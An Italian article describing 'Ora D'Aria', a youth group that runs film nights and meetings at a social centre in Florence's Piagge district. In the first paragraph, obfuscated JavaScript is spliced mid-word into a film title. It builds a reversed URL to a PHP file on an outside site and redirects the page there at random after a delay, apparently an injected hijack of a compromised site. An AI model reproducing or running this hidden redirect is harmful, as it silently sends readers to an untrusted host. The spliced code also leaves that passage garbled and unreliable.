Ora d’aria autogestita

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Venerdì 4 Aprile, ore 21.30. Sono davanti al centro sociale, penso. Sapevo che avrebbero proiettato “No man’s l (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and”, un film di Danis Tanovic del 2001, ma non immaginavo davvero di trovare tutto spento, quasi come un vero cinema. L’ingresso è libero; entro, sono anche un po’ in ritardo. Tra il pubblico intravedo qualche volto noto illuminato da una flebile luce lontana; è quella delle candele che i ragazzi di “Ora D’Aria” hanno acceso per illuminare l’ingresso. Il film parla della guerra in Bosnia. L’argomento è tremendamente serio ma, in alcune scene, non si può fare a meno di ridere. La situazione è davvero grottesca: due soldati, il primo bosniaco e il secondo serbo, si ritrovano completamente isolati in un lembo di terra che divide le due postazioni nemiche: è la “terra di nessuno”. A far loro compagnia, un immobilizzato secondo soldato bosniaco giace sdraiato su una mina. Non si può muovere; salterebbero tutti in aria. Intervengono i caschi blu con il seguito di giornalisti televisivi che cercano di sfruttare la situazione. Terminata la proiezione, il pubblico si avvicina al piccolo bar allestito all’interno del centro sociale stesso: prodotti del commercio equo e solidale, e, soprattutto, la specialità di “Ora D’Aria”: pop corn caldi. Tutto rigorosamente a prezzi popolari. Prendo da bere, guardo i ragazzi che giocano a calcino. Faccio perdere, come al solito, il mio compagno di squadra nell’unica partita che riesco a giocare. Finisce presto, la serata. I ragazzi di “Ora D’Aria” che hanno organizzato e autogestito interamente la serata, l’indomani andranno a scuola. Peccato, per me il sabato è festivo.
***
Lunedì 7 Aprile, ore 21.30. Sono di nuovo alle Piagge. A casa del prete (Alessandro Santoro), tutti i lunedì sera il gruppo di “Ora D’Aria” si incontra per fare il punto della situazione: stavolta, si tratta di organizzare le loro prossime serate cercando di conciliarle con le tante attività svolte al centro sociale in vista della Pasqua. Francesca, unica donna del gruppo – quella dei mille pennarelli colorati nella borsa per segnare le cose importanti – Eugenio, Diego ed Emiliano, ci sono quasi tutti. Mancano soltanto Glauco e Jacopo. Il clima è rilassato: Emiliano parla di ragazze e tra una battuta e l’altra, ne approfitto per farmi raccontare come, l’estate scorsa, è nata, da un gruppo di ragazzi delle Piagge, “Ora D’Aria”.
“Da giugno a settembre facevamo il doposcuola al centro sociale. Parlando con Alessandro, è nata l’idea di tenere aperto il centro oltre l’orario pomeridiano per proporre un modo alternativo di stare insieme e togliere i ragazzi dalla strada
La prima serata l’abbiamo organizzata in occasione della carovana antimafia. C’era la sorella di Paolo Borsellino. Dopo il dibattito, abbiamo messo un po’ di musica, fino a mezzanotte.
In altre occasioni abbiamo invitato anche qualche gruppo a suonare ma questo non è stato molto apprezzato dal vicinato. Ci hanno perfino minacciato di morte. No, non per l’orario. è la gente! Una volta, è venuto uno che ha detto che se non la smettevamo avrebbe preso il fucile per spararci! Il vicinato l’ha presa male da subito.
Ma il nostro più grande problema è la mancanza di pubblico alle nostre iniziative. L’apice l’abbiamo raggiunto quest’inverno quando sono venuti a suonare gli Atem. Eravamo noi dell’Ora D’Aria e il gruppo che suonava; per loro è stato come fare una prova!
Non abbiamo riscosso mai una grande partecipazione di pubblico anche perché, forse, non abbiamo pubblicizzato abbastanza le serate. Oppure perché al centro sociale, d’inverno, fa troppo freddo e la cosa non attira molto. Sicuramente il volantinaggio andrebbe fatto in modo più serio. La gente si è vista quando proiettiamo i film (da “Come te nessuno mai” a “11 Settembre 2001”).
Inizialmente, insieme ai film e ai concerti, avevamo pensato anche a delle serate di approfondimento su tematiche di nostro interesse: graffiti, usi alternativi della canapa, tatuaggi, la storia dei generi musicali. Poi, non l’abbiamo più fatto perché richiedeva troppo impegno. Forse ce la faremo ad organizzarci per quest’estate … speriamo di ripartire alla grande: saremo tutti più liberi dagli impegni, si potrà fare più tardi la sera e anche le persone che escono saranno di più. Certo, anche il centro commerciale della Coop ci ha fregato gente. D’estate organizzano le serate con la musica latino americana … la gente va li, mangia il gelato mentre da noi, magari … C’è un tipo di mentalità che è all’opposto di quella delle persone che frequentano il centro sociale. Sono persone che non si vogliano confrontare. Per loro al centro sociale ci sono soltanto i comunisti! Non è facile coinvolgere persone nuove. In una delle nostre prime riunioni abbiamo deciso dei principi generali a cui attenersi”.
Mi passano un volantino, leggo: “autogestione, antirazzismo, rifiuto delle discriminazioni, rispetto, rifiuto dei pregiudizi, rifiuto dell’omologazione, scelta del consumo critico, inclusivismo, essere di parte”.
“Ora D’Aria è un’utopia”, aggiunge qualcuno. La riunione prosegue.
“Ma perché non facciamo una pubblicità radiofonica tipo – Hai visto?! La Warner ha aperto un cinema con 11 sale …! Che schifo!! Andiamo a vedere un film pesantissimo a Ora D’Aria! C’è anche la birra a poco!!”

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